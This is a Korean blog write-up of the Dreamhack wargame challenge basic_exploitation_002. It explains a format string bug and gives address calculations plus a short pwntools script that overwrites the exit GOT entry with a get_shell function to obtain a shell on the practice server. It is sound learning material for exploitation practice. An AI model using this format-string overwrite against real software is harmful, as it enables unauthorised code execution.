본문 바로가기

Dreamhack - basic_exploitation_002 본문

wargame/DreamHack

Dreamhack - basic_exploitation_002

Seongjun_You 2021. 11. 3. 17:48

https://dreamhack.io/wargame/challenges/4/

 

basic_exploitation_002

Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation002)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "fla

dreamhack.io

FSB문제이다.

프로그램을 돌려보겠다.

 

 

 

이런 식으로 포맷스트링을 이용해 메모리 유출 및 변조가 가능하다.

이번 문제는 친절하게도 입력 값 위치가 바로 앞에 있다.

exit got 주소를 get_shell 함수 주소로 덮을 예정이다.

주소 값들을 구해보러 가보자

 

 

 

exit_got = 0x0804a024

get_shell = 0x08048609

이제 포맷스트링을 적절히 사용하여 주소를 덮어보도록 하자

 

0x0804a024에 0x8609

0x0804a026에 0x0804를 집어넣도록 하겠다.

 

0x8609 - 화면줄력값(0x10) = 0x85f9 -> dec(34297)

0x10804 - 0x8609 = 0x81fb -> dec(33275)

 

exploit code

from pwn import *
 
p = remote("host1.dreamhack.games", 19427)
code = '\x90'*4 +'\x24\xa0\x04\x08'+'\x90'*4+'\x26\xa0\x04\x08'
code += "%34297d%n" + "%33275d%n"
p.send(code)

p.interactive()

FSB가 처음에 이해가 안 가도 하다 보면 이해가 간다.

많이 풀어보도록 하자.

FSB 공격 라이브러리가 있긴 한데 처음에 원리를 이해하기 위해 직접 해보도록 하자

 

'wargame > DreamHack' 카테고리의 다른 글

off_by_one_001  (0) 2021.11.28
Dreamhack - off_by_one_000  (0) 2021.11.15
Dreamhack - basic_exploitation_003  (0) 2021.11.03
Dreamhack - basic_exploitation_001  (0) 2021.11.03
Dreamhack - basic_exploitation_000  (0) 2021.11.03
Comments